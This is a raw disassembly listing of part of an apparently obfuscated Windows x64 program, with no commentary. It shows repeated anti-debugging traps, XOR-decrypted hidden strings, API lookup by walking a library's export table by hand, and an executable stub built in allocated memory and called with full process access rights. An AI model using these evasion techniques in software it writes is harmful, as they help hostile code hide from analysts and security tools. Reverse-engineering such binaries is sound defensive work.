xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x140024204
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400241e4
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400241e4
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140024204
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x1400242ae
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002428e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002428e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400242ae
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x140024358
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140024338
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140024338
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140024358
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
call fcn.14008e470
or dword [rbp + 0x1fb64], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1e7e0]
call fcn.140030720
mov rax, qword gs:[0x35]
mov r8d, 0xcbaaefd1
cmp rax, rbx
jne 0x140024439
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140024419
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140024419
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140024439
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x1400244e3
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400244c3
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400244c3
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400244e3
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x14002458d
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002456d
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002456d
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002458d
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x140024648
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140024628
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140024628
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140024648
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x1400246f2
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400246d2
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400246d2
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400246f2
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov qword [rbp + 0xe60], r15
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x1400247a3
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140024783
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140024783
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400247a3
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x14002484d
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002482d
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002482d
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002484d
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rdi, qword [rbp + 0x10a0]
sub rdi, qword [rbp + 0x1098]
sar rdi, 3
lea rcx, [rbp + 0x1e7e0]
call fcn.14002fcb8
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x35]
mov r8d, 0xce3e160c
cmp rax, r8
jne 0x14002493a
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002491a
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002491a
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002493a
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov edi, r15d
mov rax, qword [rbp + 0x10a0]
sub rax, qword [rbp + 0x1098]
sar rax, 3
test rax, rax
je 0x140024c34
xor r14d, r14d
mov rax, qword gs:[0x35]
cmp rax, r8
jne 0x1400249f1
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140024ce7
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140024ce7
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
je 0x140024ce7
movsxd rax, ebx
mov rcx, qword [rbp + 0x1098]
mov rcx, qword [rcx + rax*8]
call fcn.14001f988
mov r15d, eax
mov rcx, qword gs:[0x35]
mov r8d, 0xce3e160c
mov r9d, 0xfec3ba48
cmp rcx, r8
jne 0x140024aa9
mov rcx, qword gs:[0x2c]
xor rcx, r9
mov qword [rbp + 0x1058], rcx
mov rcx, qword gs:[0x2c]
xor rcx, r9
mov qword [rbp + 0x1060], rcx
mov rcx, qword gs:[0x2c]
xor rcx, r9
mov qword [rbp + 0x1068], rcx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x140024d07
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x140024d07
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0x1068]
cmp rax, rcx
je 0x140024d07
test r15d, r15d
jne 0x140024d67
mov rax, qword gs:[0x35]
cmp rax, r8
jne 0x140024b5d
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0x1078], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0x1080], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0x1088], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x140024d27
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x140024d27
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0x1088]
cmp rax, rcx
je 0x140024d27
mov rcx, qword [rbp + 0x10a0]
sub rcx, qword [rbp + 0x1098]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x35]
cmp rax, r8
jne 0x140024c11
mov rax, qword gs:[0x2c]
xor rax, r9
mov qword [rbp + 0xf70], rax
mov rax, qword gs:[0x2c]
xor rax, r9
mov qword [rbp + 0xf78], rax
mov rax, qword gs:[0x2c]
xor rax, r9
mov qword [rbp + 0xf80], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x140024d47
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf78]
cmp rax, rcx
je 0x140024d47
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf80]
cmp rax, rcx
je 0x140024d47
inc edi
mov rcx, qword [rbp + 0x10a0]
sub rcx, qword [rbp + 0x1098]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14002495b
xor r15d, r15d
mov rax, qword gs:[0x35]
cmp rax, r8
jne 0x14002eaee
mov rax, qword gs:[0x2c]
mov ecx, 0xfec3ba48
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rcx
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rcx
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140024cc7
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140024cc7
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002eaee
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword [rbp + 0x1068]
mov rdx, qword [rbp + 0x1060]
xor rdx, rax
mov rcx, qword [rbp + 0x1058]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword [rbp + 0x1088]
mov rdx, qword [rbp + 0x1080]
xor rdx, rax
mov rcx, qword [rbp + 0x1078]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword [rbp + 0xf80]
mov rdx, qword [rbp + 0xf78]
xor rdx, rax
mov rcx, qword [rbp + 0xf70]
xor ecx, edx
call fcn.140095438
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe98], gethostname
mov qword [rbp + 0xea0], r14
mov dword [rbp + 0xeb0], r14d
mov qword [rbp + 0xea8], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xeb8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe88], rax
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0x220], 0x4b963b52
mov dword [rbp + 0x224], 0x2ad75b03
mov dword [rbp + 0x228], 0x85395e20
mov word [rbp + 0x22c], Ordinal_217
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1c99559a1
movabs r9, 0x173c958d3a
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x2e792b1a74
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x220], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x140024e0a
mov byte [rbp + 0x22d], r14b
mov dword [rbp + 0x110], 0xd61fa5f9
mov dword [rbp + 0x114], 0xe63410f4
mov word [rbp + 0x118], 0xb6
mov r8, r14
movabs r9, 0x10164026b2
mov r10d, 9
movabs r11, 0x202c804d64
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x110], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x140024ea8
mov byte [rbp + 0x119], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140025131
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140025131
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140025131
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140025131
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140025131
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x220]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140024fa3
inc rax
test edi, edi
jne 0x140024f8e
test r8d, r8d
je 0x140024fb5
inc rdx
cmp rdx, rsi
jb 0x140024f7d
jmp 0x140025131
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140025131
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14002512e
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14008e470
or dword [rbp + 0x20ef4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1fb70]
call fcn.140030720
lea rcx, [rbp + 0x1fb70]
call fcn.14002fcb8
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x1fb70]
call fcn.14002fcb8
mov eax, eax
mov qword [rbp + rdi*8 + 0x286f0], rax
inc rdi
cmp rdi, 0x200
jl 0x140025043
mov r8d, 0x1000
lea rdx, [rbp + 0x286f0]
mov rcx, rbx
call fcn.1400b7ef0
mov dword [0x1400e08e4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400e08e0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e08e8]
mov word [rdi + 8], ax
mov al, byte [0x1400e08ea]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfa4], r14d
lea r9, [rbp + 0xfa4]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe88]
lea r8, [rbp + 0xe98]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe60]
call rdi
mov edi, eax
lea r9, [rbp + 0xfa4]
mov r8d, dword [rbp + 0xfa4]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400b8590
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400e08e4], r14d
test edi, edi
js 0x140025144
jmp 0x140025131
xor r14d, r14d
mov rcx, qword [rbp + 0xe60]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14002515a
mov qword [rbp + 0xe60], r14
mov ecx, r15d
call fcn.14001f450
mov rcx, qword [rbp + 0xe60]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x35]
ja 0x14002e75f
mov esi, 0xce3e160c
cmp rax, rsi
jne 0x140025221
mov rax, qword gs:[0x2c]
movabs rbx, 0x1cf36c5eb18189bc
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rbx
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rbx
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140025201
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140025201
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140025221
mov rax, qword [rbp + 0xf48]
mov rdx, qword [rbp + 0xf50]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d5430]
movdqu xmmword [rbp + 0xbb0], xmm0
movdqa xmm1, xmmword [0x1400d54d0]
movdqu xmmword [rbp + 0xbc0], xmm1
mov dword [rbp + 0xbd0], 0x841e9547
mov word [rbp + 0xbd4], 0x8935
xor eax, eax
mov byte [rbp + 0xbd6], al
mov r8, r14
movabs rbx, 0x1c99559a1
lea r10d, [rax + 0x26]
movabs r9, 0x43ec2b4e0c
lea r15d, [rax + 1]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xbb0], dil
add r8, r15
add r9, r12
add r10, 0x26
movabs rax, 0x87d8569c18
cmp r9, rax
jb 0x140025285
mov byte [rbp + 0xbd6], r14b
lea rcx, [rbp + 0xbb0]
call fcn.1400017ac
mov rax, qword gs:[0x35]
cmp rax, rsi
movabs rbx, 0x1cf36c5eb18189bc
mov edi, 0xcbaaefd1
jne 0x1400253ca
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400253aa
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400253aa
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400253ca
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf48]
xor ecx, edx
call fcn.140095438
int3
call fcn.14001f6b0
mov rcx, qword gs:[0x35]
test al, al
jne 0x14002576f
cmp rcx, rsi
jne 0x140025481
mov rax, qword gs:[0x2c]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rbx
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rbx
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140025461
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140025461
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140025481
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d5660]
movdqu xmmword [rbp + 0x300], xmm0
mov word [rbp + 0x310], reloc.WS2_32.dll_recvfrom
mov r10, r14
movabs rbx, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1e62eaf3c2
movabs r9, 0x3cc5d5e784
mov cl, r10b
and cl, r13b
shl cl, 3
movabs rdi, 0x1c99559a1
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x300], dil
add r10, r15
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x1400254c1
mov byte [rbp + 0x311], r14b
movdqa xmm0, xmmword [0x1400d53f0]
movdqu xmmword [rbp + 0xa28], xmm0
movdqa xmm1, xmmword [str.__t_]
movdqu xmmword [rbp + 0xa38], xmm1
mov r8, r14
movabs rsi, 0x1c99559a1
mov r9d, Ordinal_33
movabs r10, 0x376915da9e
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xa28]
xor dil, r8b
mov byte [rbp + r8 + 0xa28], dil
add r8, r15
add r10, r12
add r9, 0x1f
movabs rax, 0x6ed22bb53c
cmp r10, rax
jb 0x140025569
mov byte [rbp + 0xa47], r14b
xor r9d, r9d
lea r8, [rbp + 0x300]
lea rdx, [rbp + 0xa28]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x35]
mov esi, 0xce3e160c
cmp rax, rsi
jne 0x1400256ac
mov rax, qword gs:[0x2c]
mov ecx, 0xfec3ba48
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rcx
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rcx
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002568c
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002568c
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400256ac
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x14002f10b
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002574f
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002574f
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002f10b
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
cmp rcx, rsi
jne 0x140025823
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140025803
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140025803
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140025823
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d5480]
movdqu xmmword [rbp + 0x288], xmm0
xor eax, eax
mov byte [rbp + 0x298], al
mov r8, r14
